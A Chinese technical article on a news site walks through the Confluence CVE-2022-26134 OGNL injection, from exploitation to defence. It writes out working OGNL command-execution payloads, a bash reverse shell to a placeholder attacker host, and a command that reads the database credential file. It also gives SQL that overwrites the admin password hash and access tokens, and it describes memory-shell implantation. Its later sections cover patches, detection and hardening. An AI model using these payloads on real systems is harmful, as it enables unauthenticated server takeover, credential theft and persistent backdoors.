当前位置: 首页 > news >正文

从CVE-2022-26134到权限维持:Confluence OGNL注入漏洞的深度利用链剖析

1. CVE-2022-26134漏洞初探:当Confluence遇上OGNL表达式

Confluence作为Atlassian旗下的企业级知识管理工具,被全球数万家企业用于团队协作和文档共享。但正是这样一个看似安全的系统,在2022年曝出了一个足以让攻击者"一键接管"服务器的致命漏洞——CVE-2022-26134。这个漏洞的特殊之处在于,它利用了OGNL(Object-Graph Navigation Language)表达式的解析机制,通过精心构造的HTTP请求,就能在目标服务器上执行任意命令。

我第一次复现这个漏洞时,发现它的触发条件简单得令人惊讶。攻击者只需要发送一个特制的URI请求,这个URI中的特殊字符会被Confluence错误地解析为OGNL表达式。比如${@java.lang.Runtime@getRuntime().exec("calc")}这样的表达式,会被服务器当作代码执行。在实际攻击中,攻击者往往会将恶意代码进行URL编码,就像这样:

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1 Host: vulnerable-confluence-server

受影响的Confluence版本范围相当广泛,从6.13.0到7.18.0之间的多个版本都存在风险。我在测试环境中搭建了一个7.15.0版本的Confluence,使用vulhub提供的Docker镜像可以快速复现这个漏洞:

docker-compose up -d confluence:7.15.0

漏洞的严重性在于它不需要任何认证,这意味着任何能访问Confluence服务的人都可以利用它。更可怕的是,由于OGNL表达式功能强大,攻击者不仅能执行系统命令,还能直接操作Java对象、访问服务器内存中的数据,这为后续的权限维持打开了方便之门。

2. 从命令执行到权限维持:攻击链的深度剖析

2.1 初始入侵:命令执行的多种姿势

当攻击者发现存在漏洞的Confluence服务器后,第一步通常是验证漏洞是否存在。最简单的方法是执行idwhoami这样的基础命令。但实际渗透中,攻击者往往会采取更隐蔽的方式。我测试过几种不同的payload,发现通过HTTP响应头返回执行结果是最不容易被发现的:

${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}

这个payload会将命令执行结果放在X-Cmd-Response响应头中返回。对于需要复杂交互的场景,攻击者通常会选择反弹shell。在Linux环境下,可以使用如下bash命令:

bash -c 'exec bash -i &>/dev/tcp/attacker-ip/4444 <&1'

但这里有个坑需要注意:Confluence默认以confluence用户运行,这个用户权限有限,特别是在生产环境中,往往无法直接写入web目录获取webshell。这也是为什么很多攻击者会转向内存马技术。

2.2 权限维持的艺术:内存马植入实战

内存马(Memory Shell)是近年来红队最爱的权限维持技术之一。它不需要在磁盘上写入任何文件,直接驻留在Java应用的内存中,极大降低了被传统杀毒软件发现的概率。在Confluence漏洞利用中,哥斯拉内存马是最流行的选择。

我在测试中使用过BeichenDream开源的Godzilla MEMSHELL工具,它的工作原理是通过OGNL注入将恶意Servlet动态注册到Confluence的Web容器中。注入成功后,攻击者可以使用哥斯拉客户端直接连接,就像这样:

POST /malicious-path HTTP/1.1 Host: target-server Connection: close Content-Type: application/x-www-form-urlencoded payload=加密的哥斯拉指令...

内存马的最大优势是隐蔽性强,但它也有个缺点——服务重启就会失效。因此专业攻击者通常会采取组合策略,在植入内存马的同时,还会尝试获取数据库权限。

3. 数据库渗透:从Confluence用户到系统管理员

3.1 定位和窃取数据库凭证

Confluence的数据库配置通常存储在/var/atlassian/application-data/confluence/confluence.cfg.xml文件中。通过之前获取的命令执行权限,攻击者可以轻松读取这个文件:

cat /var/atlassian/application-data/confluence/confluence.cfg.xml

文件内容类似这样:

<property name="hibernate.connection.password">dbpassword123</property> <property name="hibernate.connection.username">confluenceuser</property> <property name="hibernate.connection.url">jdbc:postgresql://localhost:5432/confluence</property>

有了数据库凭证,攻击者可以直接操作Confluence的所有数据。这里有个技术细节:如果Confluence使用的是PostgreSQL且配置为本地连接,连接地址可能是db而不是localhost,这是很多新手容易踩的坑。

3.2 密码修改与持久化访问

Confluence的用户密码存储在cwd_user表的credential字段中,采用{PKCS5S2}格式的哈希。虽然无法直接解密,但攻击者可以用已知密码的哈希替换原有值。例如,将管理员密码改为123456对应的哈希:

UPDATE cwd_user SET credential='{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE user_name='admin';

更隐蔽的做法是修改Personal Access Tokens。这些token允许用户不输入密码就能访问API。攻击者可以查询AO_81F455_PERSONAL_TOKEN表,然后修改其中的HASHED_TOKEN字段:

UPDATE "AO_81F455_PERSONAL_TOKEN" SET "HASHED_TOKEN"='已知token哈希' WHERE "OWNER_ID"=(SELECT id FROM cwd_user WHERE user_name='admin');

在实际渗透测试中,我更喜欢使用自动化工具来完成这些操作。比如PostConfluence这个哥斯拉插件,它能自动完成从数据库连接到密码修改的全过程,大大提高了效率。

4. 防御之道:从漏洞修复到纵深防御

4.1 漏洞修复与补丁管理

对于CVE-2022-26134,Atlassian官方已经发布了修复补丁。企业应立即将Confluence升级到以下安全版本:

  • 7.4.17
  • 7.13.7
  • 7.14.3
  • 7.15.2
  • 7.16.4
  • 7.17.4
  • 7.18.1或更高版本

升级步骤很简单:

  1. 备份当前数据和配置文件
  2. 下载新版安装包
  3. 停止Confluence服务
  4. 安装新版本
  5. 启动服务并验证

但补丁管理只是安全的基础,真正的防护需要纵深防御策略。

4.2 检测与响应:如何发现入侵迹象

根据我的经验,检测Confluence是否被攻击可以从以下几个方面入手:

日志分析:检查atlassian-confluence-security.log中异常的OGNL表达式解析记录,特别是包含java.lang.Runtime等危险类的请求。

网络流量监控:内存马通常会建立长连接,监控异常HTTP请求,特别是带有加密payload的POST请求。

数据库审计:定期检查cwd_userAO_81F455_PERSONAL_TOKEN表的修改记录,设置触发器对关键字段变更进行告警。

文件完整性检查:虽然高级攻击者可能不会修改文件,但仍需监控confluence.cfg.xml等关键配置文件的变更。

4.3 加固建议:让攻击者无从下手

除了基本的补丁更新,我建议采取以下加固措施:

  1. 最小权限原则

    • Confluence运行账户应限制为仅能访问必要的目录
    • 数据库账户使用最小必要权限,禁止超级用户权限
  2. 网络隔离

    • Confluence服务器不应直接暴露在互联网
    • 数据库服务器应与应用服务器隔离,仅开放必要端口
  3. 运行时保护

    • 使用RASP(运行时应用自我保护)技术监控OGNL表达式解析
    • 部署WAF规则拦截包含OGNL特殊字符的请求
  4. 应急响应准备

    • 准备Confluence数据备份和恢复流程
    • 制定内存马检测和清除方案

在最近的一次渗透测试中,我发现一个客户系统虽然打了补丁,但因为内存马未被清除,攻击者仍能通过后门访问。这提醒我们,漏洞修复后必须彻底检查系统,确保没有残留的恶意代码或后门账户。

http://www.jsqmd.com/news/1089942/

相关文章:

  • League Akari:基于LCU API的英雄联盟客户端增强工具集
  • 【Springboot毕设全套源码+文档】基于的设计与实现(丰富项目+远程调试+讲解+定制)
  • TVA在具身智能产业化体系的落地案例详解(9)
  • ArkUI——2D绘图
  • 终极免费桌面分区工具:3步打造整洁高效的Windows工作空间
  • 构建企业级微信机器人自动化:we-work-bot完整技术指南
  • NoFences:开源桌面分区工具,打造高效整洁的数字工作空间
  • AI自动化攻击下企业AD安全防护:零信任与PAM、EDR协同防御方案
  • 3步扫码获取阿里云盘Refresh Token:告别手动登录的自动化新体验
  • TV Bro电视浏览器:用遥控器轻松上网的终极解决方案
  • 服务器硬盘故障判断与告警实战指南:从坏道检测到智能预警
  • WordPress插件API权限漏洞复现:以LearnDash为例解析REST API安全
  • Freeplane思维导图模板终极指南:60+专业模板快速上手
  • 如何在Windows上快速实现AirPlay 2投屏:完整开源解决方案终极指南
  • ComfyUI ControlNet Aux插件下载失败的终极解决方案:3步轻松修复模型下载问题
  • 5分钟终极解决国内Docker镜像拉取难题:DaoCloud镜像加速完整实战指南
  • MPC Video Renderer实战指南:高效提升视频播放质量的终极方案
  • 基于HarmonyOS 7.0 跨端开发的云吸猫照片社区页面实战
  • SeleniumBase集成undetected-chromedriver:构建稳定反检测Web自动化测试方案
  • 3天从零到一:用FontForge打造你的专属字体
  • 结构重参数化之四:从Inception到DBB——多分支卷积的等价融合艺术
  • AJ-Report漏洞深度剖析:从认证绕开到RCE的攻防实战
  • Anthropic Mythos:大模型可验证推理的受控发布实践
  • 复制粘贴生成漫剧,2026年漫剧工作流,5款选型指南
  • 汽车电子ASIC评估实战:从EVM硬件解析到GUI软件操作全流程
  • 【课程设计/毕业设计】B/S 架构下基于 SpringBoot 的音乐网站系统设计与开发 智能在线音乐服务网站【附源码、数据库、万字文档】
  • 基于RKmedia的RV1109/RV1126人脸与车牌识别SDK实战:从部署到二次开发全解析
  • 许多人生问题没有唯一解,只有更适合当下的解。
  • 自动驾驶术语速查手册:从L0到L5,一文读懂核心技术与系统
  • 直流热泵改造实验:节能12.5%的直流纳米电网方案